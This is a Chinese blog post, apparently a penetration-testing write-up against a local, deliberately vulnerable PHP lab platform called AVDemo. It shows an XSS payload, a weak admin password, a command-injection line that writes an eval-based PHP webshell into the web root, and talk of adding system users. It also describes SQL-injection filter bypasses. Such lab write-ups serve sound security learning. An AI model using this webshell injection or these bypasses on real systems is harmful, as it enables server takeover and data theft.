blubiu

My Love

上网不网恋,简直浪费电.


AVDemo漏洞平台黑盒测试


前言

AVDemo漏洞平台–黑盒测试

环境:phpStudy + php 5.6


目录:


信息收集


说明一下:
因为是本地的环境,端口这些就不扫描了,

还有这个是某个dalao写的平台,也就检测不到什么cms了,

信息收集,端口,cms这些是必做的,

首先,这里先简单的使用轻量级扫描器扫描一下看看

images


可以看到扫描到了用户注册、用户登录、管理员登录等等,

还有一些302重定向,说明存在admin这个目录 ,

还有一些403无权限访问,也说明网站存在这些目录。


前台XSS

前台搜索留言处存在XSS ,

payload:

<script>alert(/xss/)</script>

images


管理员弱口令

管理员后台:www.xx.com/admin/login

简单测试 admin   admin 然后就进去了


后台命令执行

发现了一个奇怪的页面 ,

跟DVWA的很像有木有,可以执行命令

images


如果在渗透测试中,我们可以尝试使用 net user 命令来添加用户,

Linux下可以使用 useradd

要是对方开了远程桌面,添加用户直接就拿服务器了,

这里我就不测试了,我们来写shell看看 ,

命令:

127.0.0.1 && echo ^<?php eval($_POST[cmd]);?^> > D:/phpStudy/PHPTutorial/WWW/VAuditDemo/shell.php

知道网站路径的话可以写在那个目录都行,不过也得看看有没有访问权限,

然后直接上菜刀

images


然后菜刀上也经常使用虚拟终端来执行一些命令.

补充: 如果使用 dir 命令来指定某个路径查看文件,需要使用反斜杠


前台头像上传

注册一个test的账号,

然后在头像上传处,我们先拿一张普通的jpg文件测试一下,

发现没有返回什么路径之类的,审查元素也没发现什么路径。

images


然后传一个 shell.php 文件,发现被拦截了,

images


试了几个方法还是不行,然后看了处理上传的代码,

没有返回路径,文件名也挺复杂的,

条件限制没有什么好的方法,暂时先放弃了,

一般来说上传的文件一般在upload目录下,这个正好也在这个目录,但是文件名挺复杂了,

就先这样吧!!


前台sql注入

前台留言处发现通过id去搜索留言详情,

images


那么会不会存在注入,来测试一下

首先一个单引号,发现报错了,

images


输入 and 1=1 ,发现报错有一个 sqlwaf的词,判断存在waf,

应该是吃掉了一些关键字,那么 selectunion 等常见的关键字应该也不能直接用了,

images


既然 and 被吃了,那来试试 ||

发现被替换成了空白符,

images


来试试大小写,发现也过滤了

images


来试试 /**/ 编码,发现报错了,

感情是被实体化了,

images


再来试试URL编码 %252f%252a 就是 /**/ 的意思,

发现 %百分号被斜杠转义了,

images


经过多次尝试后,回到上面 || 被替换成空,那么会不会有机会呢,

果然是可以的,但是超过列数了,

images


来逐渐删减一下,最后 4 的时候成功爆出显位,

images


然后来爆一下数据库,

images


然后想查一下表,发现_ 下划线被转换了,这个貌似没有什么好的绕过方法,

images


然后只能试试盲猜了,数据库一般都有 adminusers表,

发现 adminusers表都存在,但是 users表一般是存在普通用户的,所有我们直接看admin表,

没有报错说明存在

images


然后再去查爆字段,发现连id这个字段都没有????

最后无奈只能上数据库去查看,发现id这个字段其实是叫admin_id

下划线是无法绕的,只能用其他方法,

这里可以使用 *星号,星号在数据库是代表所有的意思,

但是这里必须要相同数量的字段才能查询,不然会报错,

admin这个表字段刚好是三个,然后就直接爆出数据了,

images


附1:常见状态码

  1. 200   OK   请求成功。一般用于GET与POST请求
  2. 301   Moved Permanently   被请求的资源已永久移动到新位置
  3. 302   Found   临时移动。与301类似。但请求的资源现在临时从不同的 URL 响应请求。
  4. 401   Unauthorized   当前请求需要用户验证。
  5. 403   Forbidden   服务器理解请求客户端的请求,但是拒绝执行此请求
  6. 404   Not Found   所请求的资源(网页)不存在或已被删除。
  7. 500   Internal Server Error   服务器内部错误,无法完成请求
  8. 502   Bad Gateway   作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接收到了一个无效的响应
  9. 503   Service Unavailable   由于超载或系统维护,服务器暂时的无法处理客户端的请求。

总结

还是太菜了,没能发现更多的漏洞,

跟dalao聊起如何在黑盒测试中定位命令执行,反序列化之类的漏洞,

发现这种漏洞要么是盲打,要么是审计多源码的,

那么就是真正的大牛了,通过自身工作经验找到这类漏洞了。